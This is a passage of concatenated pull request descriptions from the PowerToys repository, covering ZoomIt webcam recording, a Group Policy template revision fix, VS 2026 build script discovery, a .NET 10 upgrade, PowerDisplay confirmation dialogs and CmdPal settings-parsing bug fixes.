recording (default: `Ctrl`+`Shift`+`5`) in the settings UI.
<img width="1047" height="817" alt="image"
src="https://github.com/user-attachments/assets/4117a6a1-9f57-44c5-9a21-1b1b65bc2992"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Checked that the toggle works and that it's compatible with the
standalone ZoomIt, too.
## Summary
Fixes#47645.
The ADMX policy definition (`src/gpo/assets/PowerToys.admx`) declares
`revision="1.20"` and `<resources minRequiredRevision="1.20"/>`, but the
en-US ADML language resource (`src/gpo/assets/en-US/PowerToys.adml`) was
still at `revision="1.19"`. Group Policy Editor refuses to load the
PowerToys template because the language resource does not meet the
minimum required revision, producing the error reported in the issue.
## Change
Bump `revision` on the `policyDefinitionResources` root element of
`PowerToys.adml` from `1.19` to `1.20` so it matches the ADMX
`minRequiredRevision`.
## Validation
- Diffed against `src/gpo/assets/PowerToys.admx` to confirm the
revisions now align (both `1.20`).
- Documentation/asset-only change; no code build required.
## PR Checklist
- [x] Closes#47645
- [x] Tests added/passed — N/A (asset-only revision bump)
- [x] Requires documentation to be updated — No
- [x] I know how to test these changes — Open `gpedit.msc` and confirm
PowerToys policies load without the resource-version error.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
ZoomItBreak.vcxproj contained a leftover Import of
Microsoft.Windows.ImplementationLibrary.targets pinned to version
1.0.231216.1, plus the matching EnsureNuGetPackageBuildImports guard.
The project has no packages.config and its source files
(BreakTimer.cpp/.h, ZoomItBreakScr.cpp) include no wil headers, so the
import was dead code copy-pasted from ZoomIt.vcxproj when the
screensaver project was introduced in #46506.
Until PR #41280 (.NET 10 upgrade), the sibling ZoomIt project restored
WIL 1.0.231216.1 via its own packages.config, so the folder
coincidentally existed and the stale Import silently succeeded. PR
#41280 bumped that dependency to 1.0.260126.7, leaving nothing in the
repo that requests the old version. NuGet no longer creates the
1.0.231216.1 folder, the EnsureNuGetPackage target fires, and the
official build fails with:
ZoomItBreak.vcxproj(227,5): Error : This project references
NuGet package(s) that are missing on this computer ...
Microsoft.Windows.ImplementationLibrary.1.0.231216.1\...targets
Fix: drop the unused import and guard target. Verified by clean rebuild
of x64 Release and ARM64 Release; ZoomItBreak64.scr / ZoomItBreak64a.scr
produced with empty error logs.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This adds the capability to include a webcam in the ZoomIt recording.
Also, the trim editor now supports appending multiple clips with
selectable transitions.
<img width="451" height="570" alt="image"
src="https://github.com/user-attachments/assets/025a7840-2e40-424c-af57-5ed523af8646"
/>
Also fixed some minor bugs in the ZoomIt settings within PowerToys and
added the options there, too.
<img width="1556" height="962" alt="image"
src="https://github.com/user-attachments/assets/dfe4209c-1b59-47c3-9170-36832d37f880"
/>
There was a bug in the microphone selection, fixed it together with the
webcam selection dialog, too.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47230
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: markrussinovich <markrussinovich@users.noreply.github.com>
Co-authored-by: Copilot <copilot@github.com>
Updated instructions for downloading the .exe file and release notes
link.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Fixes `tools\build\build-common.ps1` so a clean
`tools\build\build-essentials.cmd` (or `build.ps1`) run discovers and
uses **Visual Studio 2026 Insiders** without any manual
`Enter-VsDevShell` preamble. Today the script lands on the first VS 2022
BuildTools instance it finds (which lacks the C++ workload) and every
native `.vcxproj` errors with `MSB4086: $(PlatformToolsetVersion)
evaluates to ""` during NuGet restore.
Two scoped commits, **only `tools\build\build-common.ps1` is touched**
(+58 / −36 net).
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I''ve discussed this with core contributors
already. If the work hasn''t been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places (n/a — build-script
change only)
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### What''s broken
`build-common.ps1`''s `vswhere` lookup runs **without `-prerelease`**,
so VS 2026 Insiders / Preview installs are invisible to it. The explicit
fallback path list also only contains VS 2022 entries. On a machine that
has VS 2022 BuildTools (typical for CI hosts and many dev boxes) but
only has VS 2026 in *Insiders* form, the script:
1. Picks `C:\Program Files (x86)\Microsoft Visual
Studio\2022\BuildTools` because it''s a candidate `vswhere` returned and
it''s in the fallback list.
2. Enters its DevShell — but BuildTools has no C++ workload installed,
so `$(VCToolsInstallDir)` and `$(PlatformToolsetVersion)` are unset.
3. NuGet restore over `PowerToys.slnx` fans out to every `.vcxproj` and
they each hit `Microsoft.CodeAnalysis.targets(401,15): error MSB4086: A
numeric comparison was attempted on "$(PlatformToolsetVersion)" that
evaluates to "" instead of a number, in condition
"''$(PlatformToolsetVersion)''<''120''".` The build dies before any
project compiles.
This was reproduced today against `origin/main` — confirming this is a
pre-existing breakage independent of any in-flight feature work.
### What this PR changes
Commit **`30acf72c` — Fix build scripts to discover VS 2026 / Insiders
installations**
- Adds `-prerelease` to `vswhere` calls, tried **before** the stable
lookup so prerelease VS is preferred when it''s the only one with a
working C++ workload.
- Adds VS 2026 year-name and internal-version (`18\Insiders`) paths to
the explicit fallback list.
- Keeps VS 2022 paths as the final fallback so existing setups keep
working.
- Priority order: `prerelease+VC tools` → `prerelease` → `stable+VC
tools` → `stable`.
Commit **`18b27209` — build: simplify VS environment initialization with
VS2022/VS2026 support**
- Adds `-prerelease` to `vswhere` (consolidates with the above; the
prerelease query subsumes the stable one now).
- Restricts the SKU query to `Community` / `Professional` / `Enterprise`
(explicitly excludes `BuildTools`) so the script can no longer
accidentally pick a SKU without the C++ workload.
- Reduces vswhere from **4 calls to 2**.
- Removes the destructive BuildTools env-var cleanup block (no longer
needed once vswhere refuses to return BuildTools in the first place).
- Adds `VsDevCmd.bat` exit-code validation so a partial DevShell init
fails loudly instead of silently producing a half-initialized
environment.
- Adds VS 2022 / VS 2026 Preview entries to the explicit fallback list.
### Why two commits instead of a squash
The first commit is the minimum-viable fix that addresses the reported
MSB4086 failure. The second commit is a follow-up cleanup that''s only
safe **once** prerelease is preferred and BuildTools is excluded.
Splitting them keeps each commit independently revert-able if a
regression shows up on a specific dev environment shape.
## Validation Steps Performed
| Step | Result |
|---|---|
| Reproduce on `main`: cold `tools\build\build-essentials.cmd` in a
non-DevShell PowerShell | **MSB4086** on
`Microsoft.CommandPalette.Extensions.vcxproj`,
`Microsoft.Terminal.UI.vcxproj`, `PowerToys.MeasureToolCore.vcxproj`,
`PowerRenameUI.vcxproj` — confirmed broken |
| With this branch checked out: same cold `build-essentials.cmd`
invocation | `[VS] vswhere found: ... C:\Program Files (x86)\Microsoft
Visual Studio\Installer\vswhere.exe` → `[VS] Checking candidate:
C:\Program Files\Microsoft Visual Studio\18\Insiders` → `[VS] Entered
Visual Studio DevShell at C:\Program Files\Microsoft Visual
Studio\18\Insiders` — VS 2026 Insiders selected directly, restore step
proceeds past the MSB4086 wall |
| Manual workaround pre-init via `Import-Module
Microsoft.VisualStudio.DevShell.dll` + `Enter-VsDevShell` | Now
**unnecessary** — the script self-initializes correctly |
After this fix, the next failure mode the build hits is unrelated NuGet
feed coverage for in-flight WinAppSDK upgrade work, which is the gated
dependency this PR was extracted from to keep this change atomic.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
.NET 10 Upgrade. Requires Visual Studio 2026.
## PR Checklist
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- Upgraded target framework from `net9.0` to `net10.0` across all
projects
- Removed redundant package references now included by default in .NET
10
- Updated package versions to .NET 10 releases
- Modernized regex usage with source generators for better performance
- Added `vbcscompiler` to the spell-check allowlist
(`.github/actions/spell-check/expect.txt`)
## Validation Steps Performed
<!-- START COPILOT CODING AGENT TIPS -->
---
🔒 GitHub Advanced Security automatically protects Copilot coding agent
pull requests. You can protect all pull requests by enabling Advanced
Security for your repositories. [Learn more about Advanced
Security.](https://gh.io/cca-advanced-security)
---------
Co-authored-by: Jeroen van Warmerdam <jeronevw@hotmail.com>
Co-authored-by: Copilot <copilot@github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
The influx of Copilot-originated pull requests has made it impossible
for our CI to keep up; this is in part because for some reason Copilot
is treated as a team member and therefore automatically scheduled for CI
on the build pool.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Three per-monitor PowerDisplay features have failure modes recoverable
only via physical buttons:
Input Source — switching to an input with no signal goes black;
PowerToys can no longer drive a panel that isn't displaying its own
signal
Color Temperature — some monitors apply changes that cannot be reset via
DDC/CI; OSD reset required
Power State — VCP 0xD6 standby may not respond to subsequent DDC/CI wake
commands
This PR:
Defaults all three features off for newly-discovered monitors. Supports*
derivation from VCP capabilities is unchanged — unsupported checkboxes
are still greyed out.
Pops a confirmation dialog when a user toggles any of them on in
Settings, mirroring the existing Color Temperature warning. Cancel
reverts the checkbox; Enable keeps it.
Refactors the existing Color Temperature click handler into a shared
HandleDangerousFeatureClickAsync(sender, resourceKeyPrefix, setter)
helper. All three feature handlers now reuse it.
Renames PowerDisplay_ColorTemperature_EnableButton →
PowerDisplay_Dialog_Enable so the three dialogs share one button-text
resource (paralleling the existing shared PowerDisplay_Dialog_Cancel)
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Set all WMI monitor's name to "Built-in Display" to avoid confusing.
related discussion: #47255
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The code for keyup on the `Win` key would replay the previously absorbed
keydown event and just leave this keyup to propagate normally, thus
leading to a race condition between `CallNextHookEx` and `SendInput`.
This resulted in almost guaranteed out-of-order event (`Win` up,
followed by `Win` down) in the case of `Win+G` (the Xbox Game bar
shortcut).
Fixed by also absorbing the keyup for `Win`, but calling `SendInput` for
both keydown and keyup.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47293
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
This setting is totally vestigial, from the 0.9 dev cycle.
Unfortunately, the JSON parser would see that it wasn't in the
settings.json, then it would write `null` to it. But `ShowLabels` was
just a thin alias for `ShowTitles`, so we'd end up parsing totally sane
JSON settings into having `null` for `ShowTitle`.
This fixes that. You can hide your titles again folks.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Added a few known Windows processes and window classes from desktop
elements to the implicit exclusion list, to avoid funny repositioning of
otherwise immovable content:
- The Windows Start menu.
- Tooltips from around the Notification Area (System Tray).
- The Alt-Tab and Win-Tab windows.
- Tooltips.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Copilot <copilot@github.com>
Fixes a category of crashes in CmdPal, related to our settings parsing.
It would seem that I don't understand JSON parsing all that well in C#.
Basically, we've got a bunch of places where we have
```c#
class Foo
{
public Bar MySetting {get;init;} = new()
}
```
but when we JSON deserialize the settings, if there wasn't a
`"MySetting"` key, then the deserializer deserializes to `null`, not
`new()`. but since `Foo.MySetting` isn't a `Bar?`, then the compiler
can't check the fact that json _gets special rules to write a null to
it????_
Closes#47249
tested with the settings.json from that thread.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
When the Alt modifier is already pressed, "release" it on any other
interaction but the allowed mouse interactions.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47257
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
I ensured that pressing something like Shift, Ctrl, or even a character
key - besides Tab, of course, properly resets the internal state of Alt.
The win key was never affected by this behavior.
Co-authored-by: Copilot <copilot@github.com>
Users have reported missing monitors but the existing logs lack the
information needed to diagnose. Add discovery-phase logs that record the
raw MCCS capabilities string from the monitor, the parsed feature
support flags (brightness/contrast/color temperature/volume), the
specific reason a monitor is ignored, and DDC/CI API failures.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
### ⚠️ REVIEWERS TO DECIDE. MERGE THIS PR OR GO FOR: #47214⚠️
### Root cause
PR #46699 (compact mode) replaced the original `DockSize` enum
(`Small`/`Medium`/`Large`) with a new one (Default/Compact). Existing
users have `DockSize`: `Small` (or `Medium`/`Large`) in their
`settings.json`, which the source-generated EnumConverter can't parse →
the entire settings file fails to load.
### Fix
Added a custom `JsonConverter<DockSize>` in
_src/modules/cmdpal/Microsoft.CmdPal.UI.ViewModels/Settings/DockSettings.cs_
and applied it via `[JsonConverter]` on the enum.
The converter:
- Accepts current values (`Default`, `Compact`) — case-insensitive.
- Maps any unknown legacy string (e.g. `Small`/`Medium`/`Large`) to
`DockSize.Default`, preserving the user's existing visual experience.
- Tolerates numeric values too, falling back to `Default` if out of
range.
- Writes as a string so output stays consistent with the source-gen
`UseStringEnumConverter` setting.
## Summary
Adds an informational InfoBar at the top of the Grab And Move settings
page noting that the utility may not work with some touchpads and is
intended to be used with a physical mouse device.
<img width="1180" height="460" alt="image"
src="https://github.com/user-attachments/assets/4999d2f5-c785-41ab-b5fc-9dd8b7e72c7d"
/>
## Changes
- `src/settings-ui/Settings.UI/SettingsXAML/Views/GrabAndMovePage.xaml`
— new `InfoBar` (Severity=Informational, IsClosable=False) placed at the
top of the page's `StackPanel`.
- `src/settings-ui/Settings.UI/Strings/en-us/Resources.resw` — added two
resource strings:
- `GrabAndMove_TouchpadInfoBar.Title` — "Touchpad compatibility"
- `GrabAndMove_TouchpadInfoBar.Message` — explanatory text.
Follows the existing InfoBar pattern (e.g., `MouseUtilsPage.xaml`).
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This stops the ZoomIt message boxes complaining about keyboard shortcut
conflicts - such conflicts are handled by the PowerToys settings window.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47154
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
